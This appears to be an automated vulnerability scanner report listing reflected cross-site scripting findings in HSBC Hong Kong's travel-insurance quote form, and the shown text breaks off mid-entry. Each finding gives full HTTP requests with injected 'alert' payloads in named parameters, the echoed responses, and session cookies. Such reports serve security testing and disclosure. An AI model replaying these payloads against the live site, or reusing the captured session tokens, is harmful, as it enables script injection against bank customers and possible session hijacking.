GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=B&input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=falsed4866%3balert(1)//7adf7fe3a9ec7b8e &PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190827; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:09:12 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:10:03 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61793 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... </label>'; var input_numberOfFriend = falsed4866;alert(1)//7adf7fe3a9ec7b8e ; if(checkSubmit=="R"){ document.getElementById("PC_7_1_CKB_no_of_rf_question").style.display="none"; document.getElementById("PC_7_1_CKB_no_of_rf_question").innerHTML=""; }else{ docu...[SNIP]...
1.5. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_input.hidden_rf parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.hidden_rf request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b513a%3balert(1)//55e54f10d448fe345 was submitted in the PC_7_1_CKB_input.hidden_rf parameter. This input was echoed as b513a;alert(1)//55e54f10d448fe345 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50502e&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=&PC_7_1_CKB_input.peopletravelling=B&input.no_of_children=3&PC_7_1_CKB_number_of_children=3&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=Y&PC_7_1_CKB_input.hidden_rf=1b513a%3balert(1)//55e54f10d448fe345 &input.no_of_rf=3&PC_7_1_CKB_number_of_rf=3&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=30&PC_7_1_CKB_cmd_get_quote.y=12 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/hk/insurance/travel?pwscmd=cmd_init Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190756; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:08:41 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:09:31 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61786 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].value; } } if(trip_type =="S"){ var checkRF = 1b513a;alert(1)//55e54f10d448fe345 ; var rf_html=""; var crf_html=""; if(checkRF==1){ crf_html='<label class="hsbcCustomText">...[SNIP]...
1.6. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.peopletravelling request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d989"%3balert(1)//ffb3e0bcf8c8e65a5 was submitted in the PC_7_1_CKB_input.peopletravelling parameter. This input was echoed as 1d989";alert(1)//ffb3e0bcf8c8e65a5 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50502e&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=&PC_7_1_CKB_input.peopletravelling=B1d989"%3balert(1)//ffb3e0bcf8c8e65a5 &input.no_of_children=3&PC_7_1_CKB_number_of_children=3&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=Y&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=3&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=30&PC_7_1_CKB_cmd_get_quote.y=12 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/hk/insurance/travel?pwscmd=cmd_init Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190756; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:08:38 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:09:28 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61821 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var checkSubmit = "B1d989";alert(1)//ffb3e0bcf8c8e65a5 "; var trip_type = ""; var trip_option = document.getElementsByName("PC_7_1_CKB_input.trip_type"); for (var i = 0; i < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].valu...[SNIP]...
1.7. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_number_of_children parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!
Issue detail
The value of the PC_7_1_CKB_number_of_children request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 65693%3balert(1)//fa7cf0ceb078b98f0 was submitted in the PC_7_1_CKB_number_of_children parameter. This input was echoed as 65693;alert(1)//fa7cf0ceb078b98f0 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50502e&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=&PC_7_1_CKB_input.peopletravelling=B&input.no_of_children=3&PC_7_1_CKB_number_of_children=365693%3balert(1)//fa7cf0ceb078b98f0 &input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=Y&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=3&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=30&PC_7_1_CKB_cmd_get_quote.y=12 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/hk/insurance/travel?pwscmd=cmd_init Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190756; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:08:39 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:09:30 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61786 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var input_numberOfChildren = 365693;alert(1)//fa7cf0ceb078b98f0 ; var checkSubmit = "B"; var PC_7_1_CKB_no_of_children_list=document.getElementById("PC_7_1_CKB_no_of_children_list"); if (checkSubmit=="C"||checkSubmit=="B"||checkSubmit=="F") { var html='<label...[SNIP]...
1.8. http://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4! [PC_7_1_CKB_number_of_rf parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!
Issue detail
The value of the PC_7_1_CKB_number_of_rf request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload dcd60%3balert(1)//0b96acd41133d8c9a was submitted in the PC_7_1_CKB_number_of_rf parameter. This input was echoed as dcd60;alert(1)//0b96acd41133d8c9a in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAYf21ew!/delta/base64xml/L0lDU0lKQ1RPN29na21DU1Evb0tvUUFBSVFnakZJQUFRaENFSVFqR0VKemdBIS80SkZpQ28wZWgxaWNvblFWR2hkLXNJZDJFQSEhLzdfMV9DS0IvMS9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50502e&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=&PC_7_1_CKB_input.peopletravelling=B&input.no_of_children=3&PC_7_1_CKB_number_of_children=3&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=Y&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=3dcd60%3balert(1)//0b96acd41133d8c9a &PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=30&PC_7_1_CKB_cmd_get_quote.y=12 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/hk/insurance/travel?pwscmd=cmd_init Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811190756; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:08:43 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:09:34 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Content-Type: text/html; charset=UTF-8 Content-Length: 61786 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... </label>'; var input_numberOfFriend = 3dcd60;alert(1)//0b96acd41133d8c9a ; if(checkSubmit=="R"){ document.getElementById("PC_7_1_CKB_no_of_rf_question").style.display="none"; document.getElementById("PC_7_1_CKB_no_of_rf_question").innerHTML=""; }else{ docu...[SNIP]...
1.9. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.hidden_rf parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.hidden_rf request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 9a417%3balert(1)//9327e05363b was submitted in the PC_7_1_CKB_input.hidden_rf parameter. This input was echoed as 9a417;alert(1)//9327e05363b in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=Beed86%22%3balert(document.location)//bce1ca0334318ecc&input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=19a417%3balert(1)//9327e05363b &input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://burp/show/8 Cookie: CAMToken=EtQx8ZNKxzN7+GP2EwdgJpCKS8M=; HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811191231%2CCAVP20110811190908; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:13:55 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:14:46 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 61886 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].value; } } if(trip_type =="S"){ var checkRF = 19a417;alert(1)//9327e05363b ; var rf_html=""; var crf_html=""; if(checkRF==1){ crf_html='<label class="hsbcCustomText">...[SNIP]...
1.10. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.hsbc.com.hk
Path:
